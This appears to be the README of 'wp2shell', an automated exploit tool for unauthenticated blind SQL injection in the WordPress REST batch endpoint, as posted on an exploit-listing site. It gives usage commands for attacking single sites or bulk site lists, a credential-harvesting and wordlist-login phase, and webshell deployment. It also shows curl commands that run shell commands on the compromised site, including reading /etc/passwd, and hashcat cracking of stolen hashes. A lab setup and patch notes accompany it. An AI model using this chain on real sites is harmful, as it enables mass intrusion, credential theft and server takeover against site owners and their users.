Share
## https://sploitus.com/exploit?id=46404B2A-93D5-51B0-8C8E-C3D9FBA89EC7
# wp2shell
WordPress REST batch route-confusion blind SQL injection โ automated exploit chain.
**CVE-2026-63030 / CVE-2026-60137**
| | |
|---|---|
| Affected | WordPress 6.9.0 โ 6.9.4 and 7.0.0 โ 7.0.1 |
| Fixed | WordPress 6.9.5 / 7.0.2 |
| Sink | `author__not_in` SQL via desync'd `author_exclude` parameter |
| Auth required | None (unauthenticated SQLi) |
> **For authorized security testing only.**
---
## How it works
The WordPress REST API batch endpoint (`/wp-json/batch/v1`) allows nested batch requests. A double-nested desync payload shifts the internal `$matches` / `$validation` arrays, routing a crafted `author_exclude` value into the `author__not_in` SQL without sanitization. This gives unauthenticated blind boolean + timing SQL injection.
**Exploit chain โ 4 phases:**
```
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
```
---
## Requirements
- Python 3.8+
- `aiohttp`
- `colorama`
```bash
pip install aiohttp colorama
```
---
## Usage
**Single target**
```bash
python wp2shell.py http://target.com
```
**Site list (one URL per line)**
```bash
python wp2shell.py sites.txt
```
**Site list + custom password file**
```bash
python wp2shell.py sites.txt -p pass.txt
```
**Known credentials (skip wordlist)**
```bash
python wp2shell.py http://target.com --user admin --password admin123
```
**Confirm SQLi with timing**
```bash
python wp2shell.py http://target.com --confirm-sqli
```
**No pretty permalinks**
```bash
python wp2shell.py http://target.com --rest-route
```
**Through Burp proxy**
```bash
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
```
---
## Options
| Flag | Default | Description |
|---|---|---|
| `target` | โ | URL (`http://target`) or path to site list file |
| `-p FILE` | โ | Password list file (one per line) |
| `--user` | โ | Skip wordlist, use this username |
| `--password` | โ | Skip wordlist, use this password |
| `--confirm-sqli` | off | Send active SQL timing probe after marker check |
| `--rest-route` | off | Use `/?rest_route=/batch/v1` (no pretty permalinks) |
| `--sleep N` | `3.0` | SQL `SLEEP()` delay in seconds |
| `--samples N` | `3` | Timing sample pairs for median calculation |
| `--timeout N` | `30.0` | HTTP request timeout |
| `--prefix PREFIX` | `wp_` | Database table prefix |
| `--proxy URL` | โ | HTTP/HTTPS proxy |
---
## Output files
| File | Content |
|---|---|
| `creds.txt` | `http://target=>user:pass` (plaintext if cracked, hash if not) |
| `webshell.txt` | Live webshell URL |
| `VULNERABLE.txt` | All targets where phase 1 confirmed vulnerability |
All files append โ results accumulate across runs.
**Using the webshell** โ append `?cmd=COMMAND` to the URL in `webshell.txt`:
```bash
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
```
---
## Offline cracking
If the wordlist misses, `creds.txt` contains the extracted hash:
```bash
hashcat -m 400 creds.txt wordlist.txt
```
Then rerun with the cracked password:
```bash
python wp2shell.py http://target.com --user admin --password
```
---
## Local lab (Docker)
Spins up a vulnerable WordPress 7.0.1 instance for safe local testing.
**First run โ build volumes and install WordPress:**
```bash
docker compose up -d db wordpress
docker compose run --rm wpcli
```
**Subsequent starts:**
```bash
docker compose up -d db wordpress
```
**Stop:**
```bash
docker compose down
```
**Full reset (wipes all data):**
```bash
docker compose down -v
```
| | |
|---|---|
| URL | http://localhost:8080 |
| Admin | `admin` / `admin123` |
| MySQL host | `db` |
| MySQL user/pass | `wpuser` / `wppass` |
| Database | `wordpress` |
**Run exploit against the lab:**
```bash
python wp2shell.py http://localhost:8080
```
---
## Patching
Update to WordPress **6.9.5** or **7.0.2**. The fix validates the batch route before dispatching nested requests, preventing the desync that exposes the SQL sink.
---
## Legal
For use on systems you own or have explicit written authorization to test. Unauthorized use is illegal.